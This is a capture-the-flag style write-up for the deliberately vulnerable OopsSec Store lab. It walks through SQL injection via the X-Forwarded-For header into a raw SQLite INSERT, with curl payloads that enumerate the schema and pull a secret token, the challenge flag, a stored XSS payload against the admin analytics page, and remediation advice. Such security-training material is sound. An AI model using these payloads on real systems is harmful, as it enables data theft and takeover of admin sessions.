Skip to content
OopsSec Store
Go back

SQL Injection via X-Forwarded-For Header: Exploiting IP Tracking

Edit page

OopsSec Store tracks visitor IPs on every page load using the X-Forwarded-For header. The value goes straight into a raw SQL query with no sanitization, so we can inject arbitrary SQL through a header that’s entirely client-controlled.

Table of contents

Open Table of contents

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

The application silently tracks visitor IP addresses on every page load. This tracking:

Vulnerability analysis

Silent IP tracking

The application tracks visitor IP addresses using the X-Forwarded-For header via a client-side component that loads on every page:

// VisitorTracker component (loads on all pages)
useEffect(() => {
  fetch("/api/tracking", {
    method: "POST",
    body: JSON.stringify({ path: pathname }),
  });
}, [pathname]);

Vulnerable tracking API

The tracking API uses raw SQL with the X-Forwarded-For header directly concatenated:

// /api/tracking
const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || request.headers.get("x-real-ip") || "unknown";

// VULNERABLE: `ip` is the one value that reaches the statement unescaped
const query = `
  INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
  VALUES ('${id}', '${ip}', '${userAgent.replace(/'/g, "''")}', '${path.replace(/'/g, "''")}', ${sessionId ? `'${sessionId.replace(/'/g, "''")}'` : "NULL"}, datetime('now'))
`;

await prisma.$queryRawUnsafe(query);

The ip variable comes straight from the X-Forwarded-For header and lands in the SQL query with no sanitization. The user agent, the path and the session id are escaped on the way in, so the header is the only way through.

Exploitation

Step 1: Find the oracle

An INSERT returns no rows, so the first question is how to read anything back. The tracking endpoint answers it for us: it replies with the rows the request just wrote.

curl -X POST http://localhost:3000/api/tracking \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'
{
  "success": true,
  "logged": [
    {
      "id": "bd43ad6b-410d-4b34-815f-19cd026489c3",
      "ip": "::1",
      "userAgent": "curl/8.18.0",
      "path": "/",
      "sessionId": null,
      "createdAt": "2026-01-24T20:16:00.000Z"
    }
  ]
}

That echo is the whole game. A header that merely looks like SQL earns nothing — the flag drops only when a value read from a table the tracker never queries comes back inside logged.

Step 2: Close the value list

The statement expects six values — id, ip, userAgent, path, sessionId, createdAt — and our header lands in the second one. So we finish the ip string, supply the four remaining values ourselves, close the parenthesis and comment out the rest:

1.2.3.4', (SELECT 1), '/x', NULL, datetime('now'))--

The server executes:

INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
VALUES ('…', '1.2.3.4', (SELECT 1), '/x', NULL, datetime('now'))--', 'curl/8.18.0', …)

The userAgent column now holds whatever sub-query we put in the third slot. When a payload does not compile — drop the trailing -- and the real user agent runs on as SQL — SQLite says so in the response, which makes this a comfortable place to iterate:

{
  "success": false,
  "logged": [],
  "error": "\nInvalid `prisma.$queryRawUnsafe()` invocation:\n\n\nRaw query failed. Code: `1`. Message: `near \"', '\": syntax error`"
}

The ip slot takes a literal too, by the other route: concatenating into the value instead of closing the list. It is the shortest proof the injection runs — visible afterwards at /admin/analytics:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT 'Privacy matters. Dont track your users')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/exploit"}'

Privacy Matters

Step 3: Enumerate the schema

SQLite keeps its own catalogue in sqlite_master. Read the table list through the column we control:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: 1.2.3.4', (SELECT group_concat(name) FROM sqlite_master WHERE type='table'), '/x', NULL, datetime('now'))--" \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'
"userAgent": "users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence"

flags is a dead end: the endpoint answers 403 to any payload naming that table, and strips every OSS{…} value out of the echo. internal_secrets is the interesting one. Ask for its definition the same way:

1.2.3.4', (SELECT sql FROM sqlite_master WHERE name='internal_secrets'), '/x', NULL, datetime('now'))--
CREATE TABLE "internal_secrets" ("id" TEXT NOT NULL PRIMARY KEY, "slug" TEXT NOT NULL, "token" TEXT NOT NULL)

The schema names a slug column but says nothing about its values. Read those rather than guessing them:

1.2.3.4', (SELECT group_concat(slug) FROM internal_secrets), '/x', NULL, datetime('now'))--
product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection

One row per injection challenge, each named after the challenge it belongs to.

Step 4: Exfiltrate the canary

This endpoint only looks for its own token, so ask for the x-forwarded-for-sql-injection row:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: 1.2.3.4', (SELECT token FROM internal_secrets WHERE slug='x-forwarded-for-sql-injection'), '/x', NULL, datetime('now'))--" \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'
{
  "success": true,
  "logged": [
    {
      "ip": "1.2.3.4",
      "userAgent": "CANARY-X-FORWARDED-FOR-SQL-INJECTION-a42f4413d416",
      "path": "/x"
    }
  ],
  "flag": "OSS{x_f0rw4rd3d_f0r_sql1}",
  "message": "Internal secret exfiltrated through the X-Forwarded-For header! Well done!"
}

The token is generated at seed time, so it differs on every instance: the only way to produce it is to read it out of the database.

Unlike the UNION challenges, the WHERE matters here. This sink takes a scalar subquery, and a scalar subquery yields a single value: (SELECT token FROM internal_secrets) returns the first row only, which belongs to another challenge. Name the slug, or wrap the column in group_concat to bring every token back at once.

The flag is:

OSS{x_f0rw4rd3d_f0r_sql1}

Vulnerable code analysis

Two things make this exploitable:

1. Trusting the X-Forwarded-For header

const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || "unknown";
// No validation - any string is accepted as IP

The X-Forwarded-For header is fully controllable by clients. It should only be trusted when:

2. Raw SQL with string concatenation

const query = `INSERT INTO ... VALUES (..., '${ip}', ...)`;
await prisma.$queryRawUnsafe(query);

Passing user-controlled input to $queryRawUnsafe via string concatenation means any header value can escape the intended SQL string context.

Bonus: Amplifying to Stored XSS

This vulnerability also opens the door to Stored XSS. The admin analytics page renders IP addresses with dangerouslySetInnerHTML, so injected HTML and JavaScript execute when an admin loads the page.

XSS Payload

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT '<img src=x onerror=alert(document.documentURI)>')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/xss-exploit"}'

Impact

  1. The XSS payload is stored in the database as the “IP address”
  2. Every time an admin visits /admin/analytics, the script executes
  3. The attacker can:
    • Perform actions as admin (create users, modify products, etc.) by making fetch requests with credentials: "include"
    • Exfiltrate sensitive analytics data
    • Note: the JWT is stored in an httpOnly cookie, so it cannot be directly stolen via JavaScript, but the attacker can still make authenticated requests from the XSS context

XSS

Because the payload is stored in the database and rendered unsanitized, every admin who checks analytics will trigger the XSS.

Remediation

Use parameterized queries

Replace raw SQL with Prisma’s query builder:

await prisma.visitorLog.create({
  data: {
    ip,
    userAgent,
    path,
  },
});

Validate IP addresses

Before storing, validate the IP format:

const isValidIp = (ip: string): boolean => {
  const ipv4 = /^(\d{1,3}\.){3}\d{1,3}$/;
  const ipv6 = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/;
  return ipv4.test(ip) || ipv6.test(ip);
};

const rawIp = request.headers.get("x-forwarded-for")?.split(",")[0].trim();
const ip = rawIp && isValidIp(rawIp) ? rawIp : "unknown";

Trust boundaries

Only trust X-Forwarded-For when:


Edit page
Share this post on:

Previous Post
Prompt Injection: Extracting Secrets from the AI Assistant
Next Post
Stored XSS in Product Reviews